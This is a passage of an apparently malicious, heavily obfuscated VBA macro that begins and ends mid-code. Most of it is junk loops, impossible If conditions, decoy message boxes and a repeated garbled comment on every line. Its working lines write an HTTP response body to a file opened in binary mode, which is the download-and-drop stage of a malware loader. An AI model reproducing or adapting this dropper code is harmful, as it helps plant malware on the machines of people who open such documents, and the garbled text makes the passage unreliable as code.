ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next EdjpasEu 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim ZcfQhSzG As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For ZcfQhSzG = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next ZcfQhSzG 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó QIQIKQJTKIU = TANDPOVQGQA.responseBody 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 768949 = 768949 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 1381 < 78 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim gVTtybqB As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For gVTtybqB = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim lAxeFSDv As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For lAxeFSDv = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next lAxeFSDv 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next gVTtybqB 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim JQzIGdZp As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For JQzIGdZp = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next JQzIGdZp 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("uUoKRzMq68") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len("cJPNYQpl2231") = Len("QNtCqcsg") Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim XuHslHtU As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For XuHslHtU = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim rjjRTemS As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For rjjRTemS = 0 To 2 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next rjjRTemS 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next XuHslHtU 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim OOQBTxzl As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For OOQBTxzl = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next OOQBTxzl 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("Error !!!") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim ehEfnIUS As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For ehEfnIUS = 0 To 9 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim HCBCZpeb As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For HCBCZpeb = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next HCBCZpeb 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next ehEfnIUS 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim HVXoQiFU As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For HVXoQiFU = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next HVXoQiFU 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó FPBPEDJWSVG = FreeFile 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Open ZXWOGYWHSHM For Binary As #FPBPEDJWSVG 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 974899 = 974899 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 6596 < 69 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim XtawxPiw As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For XtawxPiw = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim RsqNuoXv As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For RsqNuoXv = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next RsqNuoXv 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next XtawxPiw 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim lvOozjBH As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For lvOozjBH = 0 To 5 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next lvOozjBH 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("QRUNexDW42") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len("NtGYAoWY7447") = Len("McgsmfoM") Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim EfsZIaer As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For EfsZIaer = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim ZAKZioGj As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For ZAKZioGj = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next ZAKZioGj 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next EfsZIaer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim snCqcvdL As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For snCqcvdL = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next snCqcvdL 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("Error !!!") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim PxBRHLTi As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For PxBRHLTi = 0 To 2 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim uNPtywYi As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For uNPtywYi = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next uNPtywYi 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next PxBRHLTi 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim HBGDwQrP As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For HBGDwQrP = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next HBGDwQrP 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Put #FPBPEDJWSVG, , QIQIKQJTKIU 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 598923 = 598923 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 3473 < 89 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim KRFntJmF As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For KRFntJmF = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim nQaHBHbj As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For nQaHBHbj = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next nQaHBHbj 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next KRFntJmF 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim pPyvguCL As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For pPyvguCL = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next pPyvguCL 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("WVpGHdYG42") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len("TVUgZEQT6646") = Len("uApAQzps") Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim rqNAFZNG As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For rqNAFZNG = 0 To 9 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim kDgKmVDl As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For kDgKmVDl = 0 To 5 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next kDgKmVDl 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next rqNAFZNG 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim LREPQllN As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For LREPQllN = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next LREPQllN 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("Error !!!") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim PZwCFXUx As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For PZwCFXUx = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim kGynXKLL As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For kGynXKLL = 0 To 5 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next kGynXKLL 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next PZwCFXUx 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim QvTEflYZ As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For QvTEflYZ = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next QvTEflYZ 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Close #FPBPEDJWSVG 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 995325 = 995325 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 9595 < 33 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim MlFxmIPE As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For MlFxmIPE = 0 To 1 